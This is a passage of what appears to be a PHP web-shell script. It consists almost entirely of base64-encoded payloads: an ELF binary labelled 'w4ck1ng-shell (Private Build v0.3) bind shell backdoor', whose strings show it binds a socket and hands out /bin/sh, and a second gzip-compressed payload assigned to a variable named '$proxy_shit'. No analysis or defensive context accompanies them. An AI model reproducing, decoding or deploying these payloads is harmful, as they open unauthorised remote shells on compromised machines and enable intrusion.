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b19nbG9iYWxfY3RvcnNfYXV4AC9idWlsZC9idWlsZGQvZ2xpYmMtMi4zLjYvYnVpbGQtdHJlZS9pMzg2LWxpYmMvY3N1L2NydG4uUwAxLmMAX0RZTkFNSUMAX19maW5pX2FycmF5X2VuZABfX2ZpbmlfYXJyYXlfc3RhcnQAX19pbml0X2FycmF5X2VuZABfR0xPQkFMX09GRlNFVF9UQUJMRV8AX19pbml0X2FycmF5X3N0YXJ0AGV4ZWNsQEBHTElCQ18yLjAAY2xvc2VAQEdMSUJDXzIuMABfZnBfaHcAcGVycm9yQEBHTElCQ18yLjAAZm9ya0BAR0xJQkNfMi4wAF9fZHNvX2hhbmRsZQBfX2xpYmNfY3N1X2ZpbmkAYWNjZXB0QEBHTElCQ18yLjAAX2luaXQAbGlzdGVuQEBHTElCQ18yLjAAc2V0c29ja29wdEBAR0xJQkNfMi4wAF9zdGFydABfX2xpYmNfY3N1X2luaXQAX19ic3Nfc3RhcnQAbWFpbgBfX2xpYmNfc3RhcnRfbWFpbkBAR0xJQkNfMi4wAGR1cDJAQEdMSUJDXzIuMABkYXRhX3N0YXJ0AGJpbmRAQEdMSUJDXzIuMABfZmluaQBleGl0QEBHTElCQ18yLjAAYXRvaUBAR0xJQkNfMi4wAF9lZGF0YQBfX2k2ODYuZ2V0X3BjX3RodW5rLmJ4AF9lbmQAc2VuZEBAR0xJQkNfMi4wAGh0b25zQEBHTElCQ18yLjAAX0lPX3N0ZGluX3VzZWQAX19kYXRhX3N0YXJ0AHNvY2tldEBAR0xJQkNfMi4wAF9Kdl9SZWdpc3RlckNsYXNzZXMAX19nbW9uX3N0YXJ0X18A";
$proxy_shit="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